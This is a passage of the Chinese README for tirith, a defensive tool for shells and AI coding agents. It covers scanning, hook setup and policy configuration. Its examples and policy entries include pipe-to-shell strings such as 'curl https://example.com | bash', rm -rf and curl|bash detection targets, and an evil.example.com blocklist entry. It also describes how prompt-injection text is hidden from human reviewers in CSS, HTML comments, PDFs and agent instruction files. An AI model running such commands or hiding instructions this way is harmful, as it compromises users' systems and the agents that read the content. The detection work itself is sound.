- **Terraform**(`*.tf`),一个 `module` 块来源于远程 / 不受信任的位置,而非本地路径或 Terraform Registry
- **Helm chart**(`Chart.yaml`),一个 chart 依赖来自不受信任的 chart 仓库
- **`package.json`**:一个 `preinstall` / `install` / `postinstall` 生命周期脚本运行危险命令(管道到 shell、混淆载荷、下载并运行);这些钩子会在 `npm install` 时自动运行

三个内置 `--profile` 值可调整扫描:`ci-hardening`(每项检查全强度,fail-on `high`)、`ai-agent-repo`(保留注入发现,丢弃低价值的固定卫生噪音)和 `oss-maintainer`(在审查变更时强调贡献者可控制的风险)。```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

隐藏内容检测

检测人类不可见但 AI 可读的 HTML、Markdown 和 PDF 内容:

  • CSS 隐藏display:nonevisibility:hiddenopacity:0font-size:0、屏幕外定位
  • 颜色隐藏:白底白字、前景/背景相似(对比度 < 1.5:1)
  • HTML/Markdown 注释:提示注入短语(High)、破坏性命令如 rm -rfcurl|bash(Medium)、隐藏指令的长注释(Low)
  • PDF 隐藏文本:亚像素渲染文本(font-size < 1px),读者不可见但 LLM 可解析

AI 相关文件隐藏内容扫描

tirith scan 还会检查 AI 编码代理(或渲染器)读取并执行操作的文件类型,查找绕过人工审查夹带的内容。普通 notebook、带有可见指令的普通 CLAUDE.md 以及普通 SVG 图像保持干净,只有隐藏/夹带内容才会触发。

  • Jupyter notebooks*.ipynb):单元格源码中的不可见/双向/零宽字符、源码中嵌入的 base64 编码 blob、从渲染视图中隐藏的单元格(metadata.jupyter.source_hidden / hide_input 标签),以及携带不可见字符或活动/隐藏 HTML 的单元格输出
  • AI 代理指令文件CLAUDE.mdAGENTS.md.cursorrules 及类似文件):仅隐藏指令——HTML 注释内的指令(在渲染后的 Markdown 中不可见)或视觉上隐藏的 HTML 元素。这些文件合法地包含可见指令,因此普通的可见指令永远不会触发
  • SVG 图像*.svg):嵌入的 <script>、内联 on* 事件处理器、javascript: URI、远程 xlink:href / href,或 XXE 外部实体声明

伪装检测

tirith fetch 比较 6 个用户代理(Chrome、ClaudeBot、ChatGPT-User、PerplexityBot、Googlebot、curl)的服务器响应,以检测服务器何时向 AI 机器人提供与浏览器不同的内容。


操作上下文与工作站防护

除单条命令外,若干命令组将门禁扩展到你的操作上下文和工作站状态。触及热路径的命令组为选择性启用(策略标志);其余按需运行。

操作上下文tirith contextsshiacsudo)。为你的生产云 / Kubernetes 上下文和 SSH 主机打一次标签,tirith 便会升级重要事项:针对标记为生产的上下文的破坏性命令、到标记为生产的主机的 SSH、没有匹配已保存计划的 Terraform / Pulumi / OpenTofu apply,或没有合理会话窗口的 sudo 提权。标签存放在 ~/.config/tirith/context-labels.yamlssh-host-labels.yaml(或仓库范围内的 .tirith/ 下)。

工作站卫生tirith hygienepersistencealiasesenvexecpathhooks)。扫描权限宽松的凭据文件和明文令牌(~/.ssh~/.aws~/.kube.npmrc.pypirc),对比攻击者使用的持久化据点(shell rc、authorized_keys、crontab、LaunchAgents / systemd-user 单元、git core.hooksPath),标记遮蔽关键命令或读取凭据的别名,审计 $PATH 的劫持顺序,并报告二进制的来源(包所有者、代码签名、是否遮蔽系统命令)。

爆炸半径与隔离tirith previewwatchtemp-runtaintintendbaseline)。在运行破坏性命令前预览其文件系统影响,事后对比命令实际更改的内容,在一次性目录中运行不受信任的命令,并跟踪从风险来源下载的文件,以便日后执行其中一个时触发发现。temp-run 仅更改工作目录;它是文件隔离,而非沙箱。

信任、证明与事件响应

  • 命令证明tirith command-card)使用 ed25519 密钥对已知良好的命令进行签名;不再匹配命令的受信任卡片会触发 High。
  • 仓库命令清单tirith commands)是一个 .tirith/commands.yaml 允许列表,可对已清除的命令静默未知命令提示,并添加仅用于提权的 dangerous[] 列表(它可以收紧判定,但绝不会放宽)。
  • 蜜标tirith canary)植入明显合成的金丝雀令牌;在任何检查的命令、粘贴或工具输出中触碰都会触发 High。检测是本地存储查找,而非形状匹配。
  • 密钥轮换tirith secret)从审计日志中读取最近的凭据发现,并为 11 个提供商打印特定于提供商的轮换 / 撤销步骤。它自身从不轮换任何内容,也不进行网络调用。
  • 事件模式tirith incident)声明"遭受攻击"姿态:强制 fail_mode: closed,禁用 TIRITH=0 绕过,并提升凭据扫描、解码执行和可疑二进制规则,直到你停止它。

输出、粘贴与共享安全

  • 输出方向防御tirith viewtirith outputgateway run --filter-output 以及默认安全的 mcp-server)中和命令、MCP 工具和资源读取输出中的终端欺骗转义:OSC 52 剪贴板写入、伪造提示、OSC 8 超链接不匹配,以及标题 / 清屏操纵。它还会扫描输出中的提示注入(原始和去混淆)和数据外泄信标。使用 injection_seeds_custom 添加自定义种子,并通过 mcp_redact_injection 选择将仅含注入的 MCP 块脱敏为警告(而非阻止整个输出)。不建议使用旧版 mcp-server --unsafe-unsanitized-tool-output 逃生舱。
  • 受众感知脱敏tirith sharetirith redacttirith logs)在粘贴到 GitHub issue、Slack、LLM 或公开粘贴之前剥离密钥和客户 / 租户 ID。
  • 粘贴来源tirith paste --with-sourcetirith browser)。安装配套的 Chrome 原生消息主机后,tirith 将粘贴的命令归因到其来源页面,并标记来源主机与命令运行位置不同的粘贴。

安装

macOS

Homebrew:```bash brew install tirith

### Linux 软件包

**Debian / Ubuntu (.deb):**

从 [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) 下载,然后:```bash
sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 8+ 和 Amazon Linux 2023(.rpm):

GitHub Releases 下载,然后:```bash sudo dnf install ./tirith-*.rpm

Linux GNU 发布二进制文件以 GLIBC 2.28 为上限。CI 在 AlmaLinux 8、Amazon Linux 2023 和 Rocky Linux 9 上运行 x86_64 和 aarch64 tarball;`.deb` 和 x86_64 `.rpm` 包含相同的规范二进制文件。

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake

or try without installing: nix run github:sheeki03/tirith -- --version

### Android (Termux)

Android/Termux 运行在 Bionic libc 上,而非 glibc,因此 `aarch64-unknown-linux-gnu`
构建无法在其中运行,它需要 glibc 的动态链接器。请改用 **musl** 构建:
`tirith-aarch64-unknown-linux-musl.tar.gz` 是静态链接的,无需外部 libc 即可在
Termux 上运行。```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

然后在 ~/.bashrc 中激活 shell hook(Termux 的默认 shell 是 bash):```bash eval "$(tirith init --shell bash)" # add to ~/.bashrc

> [!NOTE]
> Termux 支持为尽力而为。musl 构建产物已在 CI 中构建并进行冒烟测试,
> 但 tirith 尚未在真实 Android 设备上持续测试。
> 如果 hook 在 Termux 下行为异常,请附上 `tirith doctor`
> 输出提交 issue。

### Windows

Windows 支持检测、扫描、webhook、策略管理、审计
上传以及 `tirith setup`。PowerShell hook 提供 PSReadLine 预检
拦截,但不声称提供严格的接受后执行回执。
实时远程脚本执行和守护进程模式在 Windows 上仍不可用。

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey(社区仓库):```powershell choco install tirith

Upgrade an existing Chocolatey installation:

choco upgrade tirith

Chocolatey 审核可能滞后于 GitHub 发布。运行 `choco info tirith` 查看当前已批准的版本。当需要在 Chocolatey 审核完成前获取最新版本时,请使用 Scoop 或来自 [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) 的签名制品。

### 跨平台

**npm:**```bash
npm install -g tirith

Cargo:```bash cargo install tirith

**[Mise](https://mise.jdx.dev/)**(官方注册表):```bash
mise use -g tirith

asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

激活

添加到你的 shell 配置文件(.zshrc.bashrcconfig.fish):```bash eval "$(tirith init --shell zsh)" # in ~/.zshrc eval "$(tirith init --shell bash)" # in ~/.bashrc tirith init --shell fish | source # in ~/.config/fish/config.fish

| Shell | Hook 类型 | 测试于 |
|-------|-----------|-----------|
| zsh | accept-line + 粘贴组件 | 5.8+ |
| bash | 回车键宏或 preexec(两种模式) | 3.2 兼容路径;5.0+ 用于完全测试的现代路径 |
| fish | 回车键 + 粘贴处理器 | 3.5+ |
| PowerShell | PSReadLine 处理器 | 7.0+ |

当能力自检证明其适用于你的 bash 时,Bash 使用 enter 模式,否则使用 preexec。自 0.4.1 起,该自检在标准 GNU bash 上通过,因此一旦 `tirith setup` 或 `tirith doctor` 运行过它,enter 模式就是常规结果;shell 钩子在启动时读取缓存的判定结果。有关模式、自检和 SSH 回退行为的详细信息,请参阅[故障排除](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode)。

macOS 的系统 Bash 3.2 仍然是兼容路径,而非现代阻塞
基线。其 DEBUG-trap 行为可能阻止 trampoline 生效;
Tirith 在其心跳能够观察到时宣布由此产生的降级,
这可能是在一条命令之后。当需要严格的 Bash 授权门控时,请使用 Bash 5+ 或经过验证的 enter 模式路径。

> [!WARNING]
> Bash 的 preexec 模式默认仅警告。设置 `TIRITH_BASH_PREEXEC_ENFORCE=1` 以启用条件阻塞。Tirith 扫描一次可信的输入行,仅在阻塞判定后启用其自己的 `extdebug`,并在 `PROMPT_COMMAND` 运行前释放它。如果提示边界或调用方拥有的 DEBUG trap 无法安全保留,或者 `extdebug` 已被用户启用,Tirith 会明显地关闭 preexec 拦截,而不是覆盖 shell 状态。

#### 按 shell 的执行

| Shell | 行为 |
|---|---|
| bash **enter 模式** | **可靠阻塞。** 将回车键绑定到一个 readline 宏,该宏运行检查器,然后执行受保护的 accept-line,因此命令可以在 bash 提交运行之前被停止。在能力自检(`tirith doctor --simulate-enter`)已证明对正在运行的 bash 的传递和阻塞有效时被选中,自 0.4.1 起在标准 GNU bash 上确实如此。持久化的安全模式标志、SSH 会话或强制 `TIRITH_BASH_MODE=preexec` 仍会选择 preexec。 |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **条件阻塞。** 扫描一行可信的完整行,然后仅为阻塞启用 Tirith 拥有的 `extdebug`,并在下一个提示符处恢复它。现有的字符串/数组 `PROMPT_COMMAND` 条目保持其顺序并在扫描之外运行。当历史被过滤或别名 / 命令替换 / `eval` 使输入行偏离 `BASH_COMMAND` 时,执行会明显地拒绝或降级;不安全的提示/DEBUG 所有权或用户拥有的 `extdebug` 会使拦截明确关闭,而不是改变用户状态。 |
| bash **preexec**(无 enforce 标志) | 仅警告。对风险命令打印 DETECTED 横幅;不阻塞。当 enter 模式自检未证明传递有效,或 enter 模式不可用时,作为回退。 |
| zsh, fish | 在其 Enter/accept-line 处理器中可靠阻塞,在原生 shell 交接之前。仅通知的 preexec 事件不被视为授权门控。 |
| PowerShell | 可靠的 PSReadLine 预检阻塞;无严格执行回执。 |
| nushell | 仅警告(目前不支持命令拦截)。 |

对于 bash 上的行级阻塞,运行 `tirith doctor --simulate-enter`;如果传递有效,则启用 enter 模式。如果无效,使用 preexec enforce 以实现“尽可能阻塞;在无法阻塞时如实告知”。

交互式 bash、zsh 和 fish 在预检决策后使用协议 v3 执行回执。在钩子加载时,它们解析并固定一个绝对 Tirith 可执行文件,并注册一个绑定到活动 shell 进程、shell 家族、会话、用户和可执行文件身份的一次性能力。回执随后经过 `Prepared`、`Armed`、`Consuming` 以及终端 `Committed`/`Conflict`/`Discarded` 状态。这改善了归因和重放抵抗,但 shell 证据被有意记录为未解决,而非证明每个命令组件都已执行。Tirith 自身拥有在返回 armed 回执之前的任何批准或警告确认提示;钩子无法在之后附加这些事实。Zsh 和 fish 在同一行接受处理器中同步消费 armed 回执,并且仅在该转换成功后才会将命令交给原生 shell。PowerShell 具有预检阻塞,但没有此严格回执协议。

嵌套 shell 即使继承会话 ID,也会收到自己的进程绑定能力。在同一进程中重新 source 钩子绝不会铸造另一个 bearer。如果 `exec` 替换了活动 shell 而未改变其 PID/启动身份,替换者无法恢复故意未导出的 bearer,并以明显降级的旧模式运行;启动新的终端或子 shell 以恢复严格回执。`exec "$SHELL"` 不是回执协议重启,因为它保留了该进程身份。

**Nix / Home-Manager:** 当钩子被 source 时,tirith 必须在你的 `$PATH` 中。Bash、zsh 和 fish 随后为该 shell 会话固定该解析的可执行文件;在替换或升级二进制文件后重启 shell。仅将其添加到 `initContent` 是不够的。```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

更新与验证 tirith

tirith 可以验证自身完整性并自行更新。这两个命令仅在你运行时才会访问网络。```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification

**`tirith verify-self`** 确认正在运行的二进制文件是来自官方发布版本的、未经修改的正版二进制文件。它会重新下载适用于你的版本和目标的发布归档文件,将其与已签名的发布 `checksums.txt` 进行校验,在安装了 [`cosign`](https://github.com/sigstore/cosign) 时验证 `checksums.txt` 上的 cosign 签名,并确认正在运行的二进制文件与官方二进制文件逐字节一致。如果无法进行完整验证——例如本地开发构建、无网络、tirith 无法识别的安装方式——它会如实说明,而不是报告虚假的“已验证”。在缺少 `cosign` 的情况下,校验和仍会被验证(报告为 `verified-checksum-only`);安装 `cosign` 以进行完整的签名验证(`verified-signed`)。

**`tirith update`** 会感知包管理器:

- **包管理器安装**(Homebrew、cargo、npm、Scoop、AUR、apt/dnf)永远不会被自行修改。tirith 会改为打印要运行的确切命令,例如 `brew upgrade tirith`。通过包管理器更新可保持其数据库一致。
- **可自行替换的安装**(`install.sh` tarball、独立二进制文件,或安全归属于 Hermes 根目录(`HERMES_HOME`,或该变量未设置时的 `~/.hermes`;仅限 Unix)下的 Tirith 发布缓存)会就地更新:tirith 下载最新发布版本,进行验证,然后原子性地替换二进制文件,并将前一个保留为 `tirith.tirith-previous` sidecar。cosign 签名**默认**会被验证:如果无法验证(缺少 cosign,或该发布版本未发布签名),更新会中止。传入 `--allow-unsigned` 可回退到仅校验和验证;校验和不匹配无论如何都会中止。`tirith update --rollback` 会回退到前一个二进制文件;`--dry-run` 会显示将要发生的情况而不做任何更改。更新始终是显式的:Tirith 从不在后台检查或安装新二进制文件。

> [!NOTE]
> 安装脚本(`scripts/install.sh` 和 Windows 的 `install.ps1`)也**默认**验证发布版本的 cosign 签名,并在缺少 [`cosign`](https://github.com/sigstore/cosign) 或无法验证签名时中止。请先安装 `cosign`,或设置 `TIRITH_ALLOW_UNSIGNED=1` 以仅校验和验证方式安装(不推荐)。无论是否选择退出,校验和或签名不匹配始终会中止。

### Shell 集成

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

AI Agent 集成

使用 tirith setup <tool> 进行一键配置。这是完整的命名设置界面,包括早期集成以及 0.4.0 中发布的新增内容:

宿主设置由设置安装的保护层作用域
Claude Codetirith setup claude-code --with-mcp阻断式 PreToolUse;MCP 可选项目默认或用户
Clinetirith setup cline在 POSIX 和 PowerShell 上的阻断式 PreToolUse,外加 MCP;如果钩子进程失败,宿主会运行该工具仅用户;必须在 Cline 中启用钩子
OpenAI Codextirith setup codexMCP 网关;可选的通过 --install-zshenv 安装的非交互式 zsh 防护仅用户
GitHub Copilot CLItirith setup copilot-cli阻断式 preToolUse 钩子仅项目;从仓库根目录启动
Continuetirith setup continue仅 MCP仅项目
Cursortirith setup cursorbeforeShellExecution 钩子加 MCP 网关;可选的 zsh 防护项目默认或用户
Vercel Labs fxtirith setup fx仅 MCP仅受信任的用户配置文件
Gemini CLItirith setup gemini-cli --with-mcp阻断式 BeforeTool;MCP 可选项目默认或用户
Grok Buildtirith setup grok-buildPOSIX PreToolUse 加 MCP;宿主在钩子错误/超时时可能失败开放项目默认或用户
Kiro CLItirith setup kiro阻断式代理作用域 preToolUse 钩子项目默认或用户;必须加载启用 Tirith 的代理
OMP / Oh My Pitirith setup omp阻断式 tool_call 防护加 MCP仅用户/配置文件
OpenClawtirith setup openclaw阻断式 before_tool_call 插件项目默认或用户
OpenCodetirith setup opencode仅 MCP项目默认或用户
OpenHands CLItirith setup openhandsPOSIX pre_tool_use 钩子加用户 MCP;宿主在钩子错误时可能失败开放用户默认;也支持项目钩子
Pi CLItirith setup pi-cli阻断式 tool_call 扩展项目默认或用户
Prime Agenttirith setup prime-agent阻断式 bash/IPython 防护加 MCP仅用户
Roo Codetirith setup roo-code仅 MCP仅项目
VS Codetirith setup vscode工作区钩子加 MCP 网关;可选的 zsh 防护仅项目
Windsurftirith setup windsurfpre_run_command 钩子加 MCP 网关;可选的 zsh 防护仅用户

仅 MCP 的行会暴露 Tirith 的工具,但不会强制宿主调用它们。钩子行只有在宿主加载了生成的产物并仍然遵守其拒绝契约后才会自动生效。在设置和每次升级后,运行 tirith doctor、重启宿主,并执行宿主形态的允许/阻止检查。完整的配置路径、优先级规则、失败开放行为和验证步骤见 代理集成与信任矩阵。 有关可用的宿主特定指南,请参见 mcp/clients/

CI/CD 集成

GitHub Action 将 SARIF 上传到 GitHub 安全选项卡:```yaml

该 action 固定的依赖项使用 Node 24 action 运行时。自托管 runner 必须使用 [Actions Runner v2.327.1 或更高版本](https://github.com/actions/runner/releases/tag/v2.327.1);GitHub 托管的 runner 已满足此要求。

也可作为 **pre-commit hook** 使用:请参阅本仓库中的 `.pre-commit-hooks.yaml`。

Scan 支持 `--include`、`--exclude`、`--profile`(从 policy 加载命名 profile)以及 `--ignore` 过滤器,用于有针对性的 CI 扫描。

### 规则文档```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

修复建议,“应该改用什么命令”

每条发现都附带一条按规则定制的修复建议:一句简短、准确的“如何使其安全”的说明,显示在每条发现下方(Fix:)以及 --format json 中。 tirith explain --rule <id> --fix 会单独打印该修复建议。

当命令被阻止或警告时,tirith check --suggest 还会额外打印针对实际命令的修复建议。它仅针对一种狭窄的机械式转换提供具体的可执行重写,且其最终命令会在相同的有效策略下经过验证:```bash tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'

→ try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \

'https://example-cli.dev/i.sh'

在 x86_64 Linux 上,当 Tirith 安装在固定的 root 管理的系统路径下,并且命令的 URL、shell、参数和 stdin 行为可以被精确解码时,重写会将 pipe-to-shell 路由到 Tirith 的受限、经过审查、哈希验证、故障关闭的 capsule runner。Tirith 的绝对路径可防止后续的 `PATH` 遮蔽改变实际运行的内容。在执行时,runner 还要求所选解释器的第一个 `PATH` 命中项由 root 管理,在下载前绑定其字节,并保留该 shell,而不是信任远程 shebang。其他架构、平台和用户拥有的 Tirith 安装将此修复保留为指引。对于 curl,可执行重写还额外要求 fail-on-HTTP-error 和 redirect-following 语义(`-f` 和 `-L`,包括诸如 `-fsSL` 这样的组合)。动态或格式错误的 URL 令牌、不支持的解释器参数、PowerShell、Cmd 以及有歧义的管道仍仅为指引。可执行建议仅限于经过验证的、故障关闭的 pipe runner。归档、dotfile、TLS 标志移除、HTTP 到 HTTPS 更改、sudo 收窄、环境清理和包名更正仅为指引,因为其确切的 shell、网络、权限、环境或注册表语义无法机械地证明。对于任何没有安全机械重写的发现,Tirith 会明确说明,并展示修复方法;它绝不会输出猜测的命令。该标志是建议性的:它既不改变判定,也不改变退出码。

### 守护进程模式(Unix)

可选的背景进程,用于实现亚毫秒级延迟和网络感知增强(缩短 URL 解析、DNS 阻止列表检查):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] 守护进程模式目前仅支持 Unix。


命令

日常使用的命令:

命令功能
tirith check -- <cmd>分析命令而不执行(--suggest 会添加修复建议,并在验证通过时提供窄范围的机械重写)
tirith paste检查粘贴的内容(由 shell 钩子自动调用)
tirith scan [path]扫描文件、目录和配置(--profile--format sarif--ci
tirith run [--capsule] <url>检查远程脚本(Unix 上使用 --no-exec);Linux 实时执行默认被包含且故障关闭,使用来自密封匿名描述符的精确已审查字节(--capsule 是旧版兼容拼写)
tirith fix -- <cmd>在可用时交互式应用经过验证的故障关闭管道运行器重写;否则显示指导
tirith score <url> / diff <url>分解 URL 的信任信号,或显示可疑字符的隐藏位置
tirith explain --rule <id> / why规则文档和修复建议,或解释最后一次触发
tirith status / doctor你是否受到保护?诊断安装、钩子和策略(--fix--quick
tirith setup <tool> / init一键 AI 工具设置,或打印 shell 钩子
tirith policy {init,validate,test}搭建、验证和试运行你的策略
tirith trust {add,list,remove}管理受信任模式(窄范围,默认 30 天 TTL)
tirith threat-db update下载并验证签名的威胁数据库
tirith package risk <eco> <name>评估包的供应链风险
tirith ecosystem scan [path]评估项目中每个已声明依赖的风险
tirith package inspect --artifact <wheel>检查精确的 Python 制品字节、启动钩子、原生代码、RECORD 完整性和跨 wheel 执行链
tirith pkg {approve,install,verify-env}在支持的 x86_64 Linux 主机上批准、哈希固定、包含、安装和验证 Python 包
tirith mcp {lock,verify}固定并门控仓库的 MCP 服务器
tirith gateway run代理上游 MCP 服务器并强制执行配置的请求/输出边界
tirith daemon start后台守护进程以加快检查速度(Unix)

显式的、选择性启用的界面。这些都不会隐式运行,也没有守护进程或后台监控:

命令功能
tirith task check预览。评估不受信任的任务信封(问题正文、PDF、网页),并报告允许哪些效果。不执行任何操作,也不阻止任何操作
tirith capsule run --preset untrusted-project将不受信任的项目复制到持有的临时目录,并在故障关闭胶囊中运行精确的 argv。仅在 x86_64 Linux 上可强制执行;其他所有主机在复制或生成任何内容之前都会拒绝
tirith browser audit对已安装的 Chromium 系列扩展源代码树进行只读完整性审计,并与签名基线进行漂移对比
tirith pkg attest-npm请求项目自身的 npm 验证其已安装包的注册表签名,绑定到精确的 lockfile 和安装树
tirith attest {build,verify-build,deployment,verify-deployment}对两棵树和已部署路由的时间点收据。不是可重现构建声明,也不是持续监控

这就是日常使用的命令集。tirith 总共提供 78 个顶级命令,分为 8 组:扫描与分析、状态与健康、设置、策略与信任、shell 与系统防护(hygienepersistenceexecpathcontextsshsudoiac)、供应链、AI 代理集成,以及取证与响应。运行 tirith --help 查看分类列表,或参阅 完整命令参考。全局 --quiet 标志(或 TIRITH_QUIET=1)会静默咨询输出,但不会隐藏错误、判定或安全通知。


设计原则

  • 离线是硬边界pastescorediffwhy 不进行任何 网络调用。tirith check 可以查询配置的 OSV/deps.dev/ecosyste.ms、 CISA KEV 和 Safe Browsing 源,并可以触发下面的定期威胁数据库 刷新。tirith check --offline(或 TIRITH_OFFLINE=1)会抑制所有 这些 HTTP 和 DNS 路径,仅读取现有的运行时缓存,并将缓存未命中报告为 不完整的验证,而不是干净的结果。
  • 定期后台威胁数据库刷新tirith check 和 shell 钩子 默认最多每 24 小时触发一次轻量级、分离的后台检查 (threat_intel.auto_update_hours),以保持签名数据库新鲜。 它从不阻塞命令。设置 auto_update_hours: 0 以禁用它,或 使用 --offline / TIRITH_OFFLINE=1 在每次调用时抑制它。tirith paste 不会触发它;它直接通过本地引擎。
  • 不重写命令:tirith 从不修改你输入的内容。--suggestexplain --fix 会打印一个单独的命令供你运行;它们从不替换。
  • 无遥测:无分析、无崩溃报告、无回传行为。
  • 默认无长期后台进程:tirith 按命令调用并立即退出。上面的威胁数据库刷新是一个短命的分离更新,不是常驻进程。可选的 tirith daemon start 是唯一的常驻进程,并且是选择性启用的。
  • 仅在文档化界面上联网runfetchaudit report --upload 仅在显式调用时访问网络; check 使用配置的运行时威胁源,威胁数据库刷新遵循上述计划。 守护进程模式增加了网络感知的 URL 解析,可选的 webhook / 策略服务器集成 在配置时可以发出出站请求。--offline / TIRITH_OFFLINE=1 在守护进程和内联模式下禁用 每个 check 热路径网络生产者。
  • 获取时的出口防护。 tirith runfetch --savecommand-card fetch 默认拒绝私有、回环和云元数据主机,并且 SSRF 防护在连接时和每个重定向跳转时重新检查 DNS。要访问 特定的内部服务,请将 TIRITH_PRIVATE_FETCH_ALLOW 设置为逗号分隔的 精确主机名、私有 IP 或有界私有 CIDR 列表(例如, registry.internal,10.42.0.0/24)。旧版的宽泛 TIRITH_ALLOW_PRIVATE_FETCH=1 开关不被认可。链路本地、特殊用途 和云控制平面/凭据端点即使在主机被批准时也仍然被阻止。注意 主机名 条目授予的内容:该名称被批准用于 它在私有使用和回环空间内解析到的任何内容,包括 127.0.0.1, 因为解析不是信任决策的一部分。当你指的是固定地址范围时, 优先使用 CIDR 条目,仅当你信任名称本身时才使用主机名。

配置

快速开始```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

`tirith policy init` 接受 `--template <name>` 以使用精选的起始策略:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

每个模板都是注释详尽、符合 schema 的策略,你可以进一步编辑。 不带 --template 时,tirith policy init 会写入完整的默认策略。

策略文件

Tirith 使用 YAML 策略文件。查找顺序:

  1. 当前目录中的 .tirith/policy.yaml(向上查找到仓库根目录)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

当您信任某个来源针对某条规则,但不想将其全局加入允许列表时,请使用 `allowlist_rules` 进行规则范围内的抑制:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

allowlistallowlist_rules 模式仅匹配从输入中提取的、出现在发现证据中的 URL。它们从不匹配原始命令文本,且没有 URL 证据的发现永远无法被允许列表抑制,因此像 launchctl list 这样的命令形状模式是无效的。模式使用与 tirith trust 相同的语法:包含 :///?# 的模式是对规范化 URL 的精确匹配(锚定,查询和片段有意义);像 get.docker.com 这样的裸点分主机名匹配该域名及其子域名;*.example.com 是显式通配符;不带点的裸令牌是对 URL 文本的子字符串匹配,除非该令牌是公共后缀如 comdev,在这种情况下它被视为对 URL 主机的域名匹配,并匹配其下的每个主机。使用 tirith policy effective 检查策略解析结果,并使用 tirith policy test '<command>' 检查特定命令。

从 CLI 管理信任

tirith trust 管理受信任模式,无需手动编辑策略 YAML。信任默认是狭窄且会过期的:信任最具体且有效的内容,条目在 30 天后过期,除非你选择退出。```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

A schemeless host/path is normalized as HTTPS for exact matching.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

每个条目的 **scope** 被分类为 `exact`、`substring`、`domain`、`wildcard` 或 `bare-TLD`。每个非精确 scope(`substring` / `domain` / `wildcard` / `bare-TLD`)都需要 `--broad`,因此大范围允许始终是一个有意的选择。精确 URL 使用规范化 URL 相等性(包括 scheme、host、有效端口、path、query 和 fragment),绝不使用子字符串匹配。所有子命令都支持 `--format json`。由旧版本 tirith 写入的信任存储保持原样继续工作,没有 TTL 的条目被视为永久有效。

### 升级与操作覆盖

警告按会话进行跟踪。如果同一规则反复触发,升级规则可以将其升级为阻止:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

随时查看累积的警告:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

在 shell 退出时,如果会话期间记录了任何警告,则会打印一行摘要。

更多示例见 [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md)。

### 自定义检测规则

在 `.tirith/policy.yaml` 中的 `custom_rules:` 下编写你自己的规则。每条规则要么是一个 `pattern:`(正则表达式),要么是一个 `when:` 语义谓词树,外加一个 `context:`(`exec`、`paste` 或 `file`)、一个 `severity:` 和一个 `title:`。```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

